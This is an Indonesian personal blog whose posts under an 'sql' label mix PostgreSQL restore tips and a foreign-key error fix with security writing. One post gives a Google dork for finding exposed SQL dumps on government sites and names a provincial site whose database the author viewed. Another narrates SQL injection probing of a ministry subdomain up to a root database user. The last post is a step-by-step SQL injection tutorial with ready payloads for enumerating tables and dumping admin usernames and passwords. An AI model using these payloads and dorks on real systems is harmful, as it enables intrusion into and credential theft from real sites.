Tampilkan postingan dengan label sql. Tampilkan semua postingan
Tampilkan postingan dengan label sql. Tampilkan semua postingan

Selasa, 04 Juli 2017

speed up postgresql: pg_restore

Untuk rekan-rekan yang mau restore data yang cukup besar, bisa menggunakan cara berikut ini:
  1. Open postgresql.conf
  2. Set shared_buffers (misal 512MB)
  3. Set maintenance_work_mem (misal 256MB)
  4. Set full_page_writes jadi off
  5. Set wal_buffers (misal 16MB)
  6. Set autovacuum jadi off
  7. Restart postgresql
Nb: Hanya untuk pg_restore

Selasa, 14 Februari 2017

Mari Menjaga Keamanan Website

Tulisan ini sebenernya suatu kekesalan saya pribadi terhadap banyaknya developer web yang tidak mengindahkan pentingnya sebuah pengamanan  website.

Setelah beberapa pekan terakhir saya berseluncur khususnya di website-website Indonesia banyak sekali yang saya temukan. Dan akan sedikit saya share disini mengenai yang saya temukan disini, tapi sekali lagi sebelum saya share disini, jauh-jauh hari saya sudah mengingatkan webmasternya atau administratornya dengan contoh melalui email, log, dll.

Apa saja yang saya temukan:


  1. Menampilkan/Mengupload File yang menurut saya tidak semestinya di upload atau Fatal. Silahkan Klasifikan sendiri :p.
    Mau itu terpublish atau tidak. Contoh kasus kita mengupload file .sql(berisi dump database). Pertanyaan selanjutnya apakah file tersebut bisa diselancar dan dicari? Jawabannya kemungkinan bisa! Karena beberapa features mesin pencari google bisa kita gunakan untuk ini. Sekali lagi, mau itu penting, tidak penting, rahasia, atau apapun tolong jangan sekali-kali asal upload ke server yang akhirnya menjadi boomerang untuk web/server tersebut.

    Kita contohkan saja

    Google Dork:
    Inurl:go.id Filetype:sql Intext:INSERT
    Silakan dicoba! Atau kita rubah menjadi Inurl:.id 
  2. Memakai plugin yang memiliki vuln.
    Saya sarankan developer sebelum memasang plugin dalam sebuah website untuk mencari tahu dahulu apa ada atau tidak bugs dalam plugin tersebut. Dan saya sangat sarankan lagi untuk membaca dan memahami kembali coding dalam plugin tersebut, karena biasanya ini bisa menyasar kemana-mana. Atau bisa dibilang efeknya dominos dan berkaitan dengan lainnya.
  3. SQL Injection.
    Ini pun sama, biasanya banyak developer tidak mengindahkan dan memahami apa itu SQL injection. Biasanya dalam feature shared hosting sudah mulai ditutupi dengan plugin plugin untuk menutupi ini. Tapi sekali lagi saya harapkan developer pun menjaga agar code yang dibuatnya tidak memiliki potensi untuk dimasukan sesuatu yang akhirnya menjadi fatal.
    Biasanya bagi mereka yang masih belum memahami ini akhirnya database bisa tercuri dan fatalnya lagi efek ini berkelanjutan. Dalam beberapa kasus seorang yang telah melewati SQL Injection bisa memasuki page administrator dan memasang backdoor. Apa itu shell, atau bahkan bisa sampai root(user tertinggi) dan akhirnya saya tidak perlu memberi tahu lagi apa efeknya.
    Contoh paling yang sangat fatal adalah saya berhasil melihat isian database dari website sumselprov.go.id
    Tapi sekali lagi saya tidak melakukan apa-apa, saya hanya meneliti saja di dalamnya. Dan sudah saya ingatkan melalui beberapa kali email, jawabannya: tidak ada balasan :))
  4. Unrestricted File Upload
    Di beberapa kasus juga biasanya para developer tidak mengindahkan dan memahami code yang dibuatnya. Akhirnya, sekali lagi siapapun bisa mengupload backdoor kedalam server tersebut. Dan efeknya? Silahkan dicoba sendiri :D saya sudah jelaskan diatas.
Sekali lagi sebetulnya masih banyak, tapi hanya itu dulu yang saya sampaikan. Harapan dan saran untuk kita semua untuk menjaga keamanan website sederhanan sekali. Aktif dalam forum, update, baca, dan jangan makan gaji buta:))
Aktif dalam artian memiliki keinginan untuk terus memperbaharui apabila setelah di analisis/dilaporkan memiliki banyak kekurangan dan celah keamanan.
Beberapa kasus disini sekali lagi hanya sebagian besar, dan masih banyak yang belum saya ketahui dari berbagai aspek lainnya. Mungkin nanti dapat ditambahkan oleh teman-teman yang lain.

Jadi kesimpulannya adalah : Mari Menjaga Keamanan Website :)

Sedikit quotes untuk para web developer untuk lebih semangat dan bekreasi:

Most good programmers do programming not cause they expect to get paid/get adulation by the public, but cause it is fun to program. ~Linus Torvalds

Akhir kata, SALAM BERSAMA!! Hehehe



Selasa, 17 Januari 2017

Error Foreign Key lebih dari 1 dalam 1 Table

Dalam pengimplementasian relation table biasanya kita mengenal apa itu foreign key. Permasalahan yang sering ditemui adalah pada saat 1 table mempunyai relasi kolum yang lebih dari 1. Mengapa?


“Error creating foreign key on [table] (check data types)”
#1452 - Cannot add or update a child row: a foreign key constraint fails 
Ini sedikit jawaban permasalahan diatas, saya pun akhirnya menemukan solusinya.

  1. Coba cek atribut kolum yang akan di relasikan apakah UNSIGNED atau tidak.
  2. Tidak hanya kolum atribut jangan lupa di uncentang 
Dan berhasil!


Mungkin cukup sekian, semoga bermanfaat.

Senin, 14 Mei 2012

SQLI DEPKOMINFO ? (Draft April 2009)


Berawal hanya karena suka main-main dengan keyword google, akhirnya aku pun mencoba untuk melakukan keyword yang sedikit nakal :P . Dengan kata kunci seperti layaknya seoarang anak yang cari-cari celah sql injection :D . Ok [ inurl:.php?id=10 site:depkominfo.go.id ] . Mengapa depkominfo ? tak ada alasin sih hanya sekedar coba-coba. Next ? dapat tidak ? oke dapat, meskipun yang keluar hanya satu dan juga hanya subdomain saja. Yah berharap untuk dapat menembusnya. hehe, lanjut dengan cek target. Tanda [ ' ] kuluncurkan ternyata hasilnya false. Ok awal yang baik. Karena tak percaya kucoba dengan AND 1=1 dan juga AND 1=2. Hasilnya cukup memuaskan.

Dari situ kita sudah bisa melanjutkan ke tahap berikutnya.
Okey cek kolom.
Karena aku lebih biasa dimulai dari [ 20 ] akhirnya kujalankan. Ternyata lebih !
Sampai kucari akhirnya dapat di nomor [ 22 ] . Nomor yang unik :P ( tak tahu juga sih,hehe)

Kolom telah dapat, akhirnya coba untuk menampilkan..
. . .
Dapat ! ternyata lumayan juga banyak nomor yang keluar. Tanpa basa-basi coba tuk menampilkan user dan versi mysqlnya :P .
Oh no !
root | versi 5 !!!!

Kamis, 26 Maret 2009

Kurangnya Keamanan Pada Situs-Situs Pemeritah

Kemarin-kemarin saya tidak sengaja mencoba untuk berjalan-jalan. Masuk sana-sini dan coba saya liat-liat. Tak banyak yang ditemukan. Saya hanya mencoba sql injection. Namun banyak juga ternyata.
Screenshot :



Ini adalah sebagian kecil dari banyaknya situs pemerintah yang tidak baik pengamanannya.
Untuk admin-admin harap memperbaiki situsnya. Dari semua ini rata-rata melewati sql injection. Selamat Memperbaiki admin :D

Minggu, 07 September 2008

SQL Injection Tutorial Melalui recordID

*mysql

Sebelum membaca artikel ini sebaiknya anda membaca artikel tentang
http://juniorsev3n.blogspot.com/2008/07/script-php-from-dreameaver-8.html
karena ini menerangkan bagaimana sql injection ini bisa terjadi.
Saya beri tahu lagi bahwa bug nya terdapat pada
WHERE id=$recordID
untuk id itu tidak selalu id tapi tergantung pada sang webmaster.
Langsung aja.

Langkah pertama adalah mengecek bug tersebut.
dengan memberikan tanda single quote ( ' ) di recordID
Semisal :
news.php?recordID=1'
Nah apabila tampak pesan error berarti kita bisa melanjutkannya.

Langkah kedua adalah mengecek column yang berada di table tersebut
dengan cara menggunakan perintah ORDER BY
Semisal :
news.php?recordID=1+ORDER+BY+1/*
nah apabila nilainya true maka column/field tersebut ada.
artinya kita harus mencari tahu ada berapa nilai yang true !
untuk mencari nilai tinggal ganti saja angka satu tersebut.
Semisal :
news.php?recordID=1+ORDER+BY+2/*
news.php?recordID=1+ORDER+BY+3/*
Nah apabila nilainya masih true berarti column/field itu ada.Dan apabila nilainya
sudah false berarti column/field itu tidak ada.Semisal column/field hanya ada 3 saat kita memasukan angka 4 maka akan muncul pesan error di halaman tersebut.
Note : /* adalah tag comment pada SQL dan kita memakai ini untuk tidak mengaktifkan perintah setelah tag comment.
Lain-lain tag comment : // , -- , # ,etc


Langka ketiga adalah menampilkan column/field yang ditampilkan.
dengan menggunakan perintah UNION ALL SELECT
semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,2,3/*
Q : Mengapa harus menggunakan -1 ?
A : tidak selalu -1 tetapi yang nilainya false.
Nah dengan menggunakan perintah itu maka akan keluar nomor2 di halaman.
Itu menandakan nomor2 itulah yang di outputkan.
Dengan demikian kita menggunakan fungsi2 di nomor2 yang dikeluarkan.
semisal nomor yang dikeluarkan adalah 2 dan 3 . Berarti fungsi2 disimpan di nomor 2 dan 3 atau salah satunya. Kalau kita memasukin di nomor yang tidak ditampilkan maka yang diperintahkan tidak akan keluar.

Langkah selanjutnya adalah memberikan fungsi2 mysql.
dengan memberikan version() , user() , database() ,etc
nah untuk mengecek version mysql masukan fungsi version()
untuk melihat user yang digunakan masukan fungsi user()
untuk melihat nama database yang digunakan masukan fungsi database()
Semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,version(),user()/*
Nah di halaman akan menampilkan version mysql dan user nya.
Semisal versionnya 5 keatas dan usernya bebas
Maka kita bisa lanjutkan tetapi apabila versionnya 4 atas 5 kebawah sebaiknya cari target yang lain.
NOTE : apabila usernya root , berbahagialah. karena root adalah user yang tertinggi.Kita bisa menampilkan user2 dan password mysql.
Nah selanjutnya adalah menampilkan table2 yang ada.
NOTE : supaya lebih ringkas kita tampilkan saja table2 yang hanya ada di database
Semisal :
news.php?recorID=-1+UNION+ALL+SELECT+1,group_concat(table_name),3+
FROM+information_schema.tables+WHERE+table_schema=database()/*
group_concat adalah fungsi untuk menampilkan semuanya yang ada di column/field itu.
Anda bisa menggunakan fungsi2 lain sesuai kebutuhan. concat(),concat_ws(),etc.
table_name adalah column/field yang terdapat di table tables.
information_shema adalah database tempat penyimpanan data2 skema.
tables adalah table yang bernama tables tempat penyimpanan nama2 table tersebut.
nah dengan demikian di halaman akan muncul nama2 table yang hanya ada di database saja.
untuk menampilkan semuanya anda hanya perlu menghilangkan WHERE table_schema=database()

Apabila terdapat table2 yang berbau tempat penyimpanan database user/admin anda ingat2 nama table itu atau copy paste saja ke Applications->Aksesoris->Penyunting Berkas Teks
hehe,,promosi dikit [ ubuntu 8.04 ]

Nah apabila sudah mendapatkan nama2 table selanjutnya adalah mencari nama2 column/field.
Semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,group_concat(column_name),3+
FROM+information_schema.columns+WHERE+table_schema=database()/*
Nah maka akan menampilkan column/field yang tedapat di database.
Apabila mendapat yang berbau username atau password ya itulah berarti column yang akan kita keluarkan.tetapi apabila sukses dengan menggunakan perintah semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,group_concat(column_name),3+
FROM+information_schema.columns+WHERE+table_name='user'/*
user adalah contoh table tempat penyimpanan data2 user dan password.
Maka akan keluar column yang berada di table user.
Tapi kalo muncul pesan eror sebaiknya guna cara yang tadi.
Nah apabila kita sudah mendapat nama2 column/field dan table langkah selanjutnya adalah mengeluarkan data username dan password admin.

Semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,
group_concat(concat(username,0x3a,password)),3+FROM+user/
nah maka akan tampil semua data username dan password di table user
Apabila hasilnya enkripsi anda harus mengcracknya dulu
Apabila password nya bukan enkripsi yang berbahagialah karena tidak usah
cape2 mengcracknya.
Sekarang anda tinggal login ke halaman adminnya.

Ya,,mungkin cukup sekian dulu yang bisa saya tulis
mungkin banyak kesalahan dan kekurangan jadi saya mohon maaf.
Correct Me IF I'm Wrong (CMIIW)
hehe

Salam hangat,
juniorsev3n